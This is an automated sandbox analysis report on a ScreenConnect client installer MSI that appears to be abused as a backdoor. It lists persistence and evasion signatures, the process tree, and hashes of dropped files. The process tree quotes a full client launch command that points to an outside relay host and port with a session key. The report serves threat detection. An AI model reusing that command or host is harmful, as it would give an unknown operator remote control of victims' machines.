Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/11/2026, 12:14

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 12.9MB
  • Sample261102-pefp7as1bs
  • SHA256 d12ae777cd027bc89bd337732aa861d94662caabbde28d470cd3871ac7feec64
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2348
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3876
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding B98233BA256701593BF1B0C2AF7F85F6 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1780
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIDDB9.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240705156 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1992
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4916
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 3CF0DB683F5AAF89868ABBCC77D87CAC
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4504
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 52CE4FD4DA0E920623B5A8FCFAA2A9B9 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4768
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2224
    • C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=syguihdburb.com&p=8041&s=39d7905b-3692-4f7c-a40f-a1a77f4fb024&k=BgIAAACkAABSU0ExAAgAAAEAAQDd13iLuBYd%2blgPavlbGQJ3RAXBQ%2f4FCofsmR2%2bN7TTfqY7JBZEudIoEU9OsS5UEM2M2i2D2pp9j3uyZAU%2fWBd1PMDR4UXFJf%2fl4Kzdd6iKqUK2bz%2fNKimyx5eF5ztq89AFt5pe6ASWPFHUfRmb%2fMN8GhYmdgMn50Qyo0cOfK1JrdLF7geqO4ntarYK%2fnF0chP%2fk9vs3Zy1XgBUVz%2ba1Zeh3W8VM6V%2fErqlnCDyuU62OS5lT6kBVex7d4toGQrIJIbGDiSGLrgPcWUuJjL3fTD%2fkYzeOWhWdqSPV85AJPWZj8ECZv8r03N6ave%2fnKAiHeuhwqbjowNQ3PDnWnKTlUbP"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3464
      • C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsClient.exe" "RunRole" "f3a0fb80-e7f8-4bb3-a50f-012655d96f71" "User"
        2⤵
        • Executes dropped EXE
        PID:4324
      • C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsClient.exe" "RunRole" "7a8b96dd-7ed7-405d-a76f-eff473a47e57" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4728

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e592561.rbs

          • Path C:\Config.Msi\e592561.rbs
          • Size 214KB
          • SHA256 653fe6289ce0d8d57eb9ee91152bd4845636699a1ce1fc0f291f0a317515efc1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\Client.Override.en-US.resources
          • Size 343B
          • SHA256 12191483feb8db21c4b7ecd039be74de31710326b9ff1466d9bd6f53329259f6
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\Client.Override.resources
          • Size 32KB
          • SHA256 bae2628f861455f9ae162ebb4599ea04c84f28326f687c489fb51017f5424dcd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\Client.en-US.resources
          • Size 47KB
          • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\app.config
          • Size 2KB
          • SHA256 ae5fc34ccd25c235997ed61a6a7b00440f171baee6fb0d638073744858d8ea2e
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\system.config
          • Size 947B
          • SHA256 21bfccf8310e6b13f4d75bc8c64da93a322d43e56b6714058e8e47d2e86d55e7
          • MD5 SHA1 SHA512 TLSH

          MSIDDB9.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIDDB9.tmp
          • Size 1.0MB
          • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIDDB9.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIDDB9.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIDDB9.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIDDB9.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI2727.tmp

          • Path C:\Windows\Installer\MSI2727.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e592562.msi

          • Path C:\Windows\Installer\e592562.msi
          • Size 12.9MB
          • SHA256 d12ae777cd027bc89bd337732aa861d94662caabbde28d470cd3871ac7feec64
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 c47ceb51ecabae9c7e1686efea22769bf3bfd8daf6dd23a94e44ec9c4061718e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {2c900e87-064f-422a-a622-fe492247dcd6}_OnDiskSnapshotProp

          • Path \??\Volume{efdbfdc7-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{2c900e87-064f-422a-a622-fe492247dcd6}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 792f18d04bc6a5cf847ea10a56259d7b70a32886744fa525f67e5db934ce4992
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1992-22-0x0000000004A10000-0x0000000004A1A000-memory.dmp

          memory/1992-31-0x0000000005450000-0x00000000059F4000-memory.dmp

          memory/1992-30-0x0000000004CF0000-0x0000000004E9C000-memory.dmp

          memory/1992-26-0x0000000004AB0000-0x0000000004B3E000-memory.dmp

          memory/1992-18-0x00000000049E0000-0x0000000004A0E000-memory.dmp

          memory/3464-98-0x0000000004010000-0x0000000004060000-memory.dmp

          memory/3464-107-0x0000000004530000-0x0000000004605000-memory.dmp

          memory/3464-76-0x0000000001870000-0x0000000001888000-memory.dmp

          memory/3464-102-0x0000000004060000-0x0000000004096000-memory.dmp

          memory/3464-105-0x0000000003FC0000-0x0000000004001000-memory.dmp

          memory/3464-103-0x0000000004350000-0x00000000043E2000-memory.dmp

          memory/4324-119-0x00000000002D0000-0x0000000000368000-memory.dmp

          memory/4324-122-0x000000001B490000-0x000000001B63C000-memory.dmp

          memory/4324-123-0x000000001C2C0000-0x000000001C446000-memory.dmp

          memory/4324-124-0x0000000000C20000-0x0000000000C38000-memory.dmp

          memory/4324-125-0x0000000002470000-0x0000000002488000-memory.dmp

          memory/4324-121-0x000000001AFF0000-0x000000001B07E000-memory.dmp

          memory/4324-120-0x0000000002430000-0x0000000002466000-memory.dmp